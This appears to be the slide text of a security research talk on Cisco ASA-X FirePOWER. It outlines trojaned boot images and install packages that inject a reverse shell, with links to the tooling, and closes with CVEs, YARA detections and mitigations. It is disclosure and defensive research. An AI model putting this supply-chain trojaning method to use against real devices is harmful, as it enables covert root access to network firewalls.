Block

ASA FirePOWER Module Deep Packet Inspection

ASA FirePOWER Services
Distributable Malicious FirePOWER Boot Image for ASA-X

FirePOWER Boot Image is... A Generic Bootable Linux ISO
Distributable Malicious FirePOWER Boot Image for ASA-X

Distribute a Malicious ISO / Boot Image?
Exploitation
- Create a Tiny Core Linux Bootable ISO
- Get Administrator to install it
- Catch reverse shell

Not a vulnerability
- No security expectations for the boot image.
- Doesn’t persist through reboots.

Features
- Reverse Shell
- SSH
- DOOM-ASCII

github.com/jbaines-r7/pinchme
Distributable Malicious FirePOWER Boot Image for ASA-X

Malicious Boot Image with DOOM

**Exploitation**
- Create a Tiny Core Linux Bootable ISO
- Get Administrator to install it
- Catch reverse shell

**Not a vulnerability**
- No security expectations for the boot image.
- Doesn’t persist through reboots.

**Features**
- Reverse Shell
- SSH
- DOOM-ASCII

github.com/jbaines-r7/pinchme
Distributable Malicious FirePOWER Boot Image for ASA-X

DOOM

Cisco ASA-X with FirePOWER Services

Main System

Inside

Firewall Policy

VPN Decryption

Outside

Diverted Traffic

Block

ASA FirePOWER Services

SSH
Distributable Malicious FirePOWER Install Package for ASA-X
# Distributable Malicious FirePOWER Installat Package for ASA-X

## ASA FirePOWER Module Install Package

### ASA 5506-X with FirePOWER Services

#### Release 6.2.3

<table>
<thead>
<tr>
<th>File Information</th>
<th>Release Date</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>ASA FirePOWER module upgrade from 6.2.2 to 6.2.3</td>
<td>28-Sep-2018</td>
<td>5.95 MB</td>
</tr>
<tr>
<td><strong>Do not untar</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cisco_Network_Sensor_Hotfix_H-6.2.3.999-5.sh.REL.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ASA FirePOWER module upgrade from 6.2.2 to 6.2.3</td>
<td>01-Apr-2018</td>
<td>1200.90 MB</td>
</tr>
<tr>
<td><strong>Do not untar</strong></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Cisco_Network_Sensor_Upgrade-6.2.3-83.sh.REL.tar</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ASA FirePOWER module boot image</td>
<td>01-Apr-2018</td>
<td>40.97 MB</td>
</tr>
<tr>
<td>asasfr-5506x-boot-6.2.3-4.img</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ASA FirePOWER module install package</td>
<td>01-Apr-2018</td>
<td>1278.99 MB</td>
</tr>
<tr>
<td>asasfr-sys-6.2.3-83.pkg</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Advisories</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Distributable Malicious FirePOWER Install Package for ASA-X

ASA FirePOWER Boot Image Supports Signed Packages

```python
def _extract(self, pkg_path, extract_dir, keep_pkg=False):
    """ Extracts the package in the extract directory
    :Parameters:
    - `pkg_path` - Path to package
    - `extract_dir` - Directory where package need to be extracted
    - `keep_pkg` - Whether to keep the package or not
    """
    os.system('rm -rf %s && mkdir -p %s' % (extract_dir, extract_dir))

    supported_formats = [EncryptedContentSignedChksumPkgWrapper.PKG_FORMAT_TYPE]
    # Boot image should support old pkg format as well.
    if ((PRODUCT_ASACX_BOOT == get_current_platform()) or (PRODUCT_ASASFR_BOOT == get_current_platform())):
        supported_formats.append(ChecksumPkgWrapper.PKG_FORMAT_TYPE)

    self.pkg_wrapper = pkg_helper.find_pkg_wrapper(pkg_path, supported_formats)
    if self.pkg_wrapper:
        self.pkg_wrapper.unwrap(pkg_path, extract_dir)
```
Distributable Malicious FirePOWER Install Package for ASA-X

ASA FirePOWER Module Signed Install Package
Distributable Malicious FirePOWER Install Package for ASA-X

ASA FirePOWER Boot Image Supports Unsigned Packages

```python
def _extract(self, pkg_path, extract_dir, keep_pkg=False):
    """ Extracts the package in the extract directory
    Parameters:
    - `pkg_path` - Path to package
    - `extract_dir` - Directory where package need to be extracted
    - `keep_pkg` - Whether to keep the package or not
    """
    os.system('rm -rf %s & & mkdir -p %s' % (extract_dir, extract_dir))
    supported_formats = [EncryptedContentSignedChksumPkgWrapper.PKG_FORMAT_TYPE]
    # Boot image should support old pkg format as well.
    if ((PRODUCT_ASACX_BOOT == get_current_platform()) or (PRODUCT_ASASFR_BOOT == get_current_platform())):
        supported_formats.append(ChecksumPkgWrapper.PKG_FORMAT_TYPE)

    self.pkg_wrapper = pkg_helper.find_pkg_wrapper(pkg_path, supported_formats)
    if self.pkg_wrapper:
        self.pkg_wrapper.unwrap(pkg_path, extract_dir)
```
Distributable Malicious FirePOWER Install Package for ASA-X

Distribute a Malicious Install Package?

Cisco ASA-X with FirePOWER Services

Main System

Inside

Firewall Policy

VPN Decryption

Outside

Diverted Traffic

Block

ASA FirePOWER Services
Distributable Malicious FirePOWER Install Package for ASA-X

Convert a Secure Package to an Insecure Package
Generate Malicious Packages

Exploitation

- Input valid and signed Cisco created package. What’s up will remove encryption/signatures, inject a reverse shell, and output an unsigned package.

Not a vulnerability

- No security expectations on installation.
Generate Malicious Packages

Exploitation

- Input valid and signed Cisco created package. What's up will remove encryption/signatures, inject a reverse shell, and output an unsigned package.

Not a vulnerability

- No security expectations on installation.
Distributable Malicious FirePOWER Install Package for ASA-X

Back again. This time with persistence!

Cisco ASA-X with FirePOWER Services

Main System

Inside

Firewall Policy

VPN Decryption

Outside

Diverted Traffic

Block

ASA FirePOWER Services
FirePOWER Boot Image and Package Trojans for ASA-X

Supply Chain Issue
Exploitation Summary

Do You Trust the ASA?

This Talk Discussed
- Man in the middle problems
- Credential leaks
- Code signing issues
- Package signing issues
- Root shell as a feature
- Hard-coded credentials for a root shell
- Remote command injection for root access
- Executing arbitrary bootable ISO
Indicators and Mitigations
Indicators and Mitigations

Not this. Never this.
Indicators and Mitigations

YARA Rules

New YARA Rules

- Detect malicious ASDM packages
- Detect execution of malicious SGZ
- Detect credentials in ASDM log files
- Detect unsigned FirePOWER install packages

github.com/jbaines-r7/cisco_asa_research/blob/main/yara/
Indicators and Mitigations

Apply ASA and ASDM Updates?

- Eventually?
  - No patches planned for ASA-X with FirePOWER Services boot images or installation packages
  - CVE-2021-1585 patched on Thursday?
  - CVE-2022-20829 patched on Thursday?
  - CVE-2022-20828 patches planned through December 2022

- What to do when patches aren’t available?
  - Mitigating controls: limit access and isolate
  - If possible, remove from network critical path
  - Rotate passwords

- What to do about the ASA-X with FirePOWER Services?
  - Multiple distributable root shell vectors
  - **Virtual machine root shell is a default feature**
  - If possible, accelerate retirement and replace
  - Audit the virtual machine root shell regularly
  - Audit Cisco CLI / ASDM logins regularly
Thank you!

Slides & Code: https://github.com/jbaines-r7/cisco_asa_research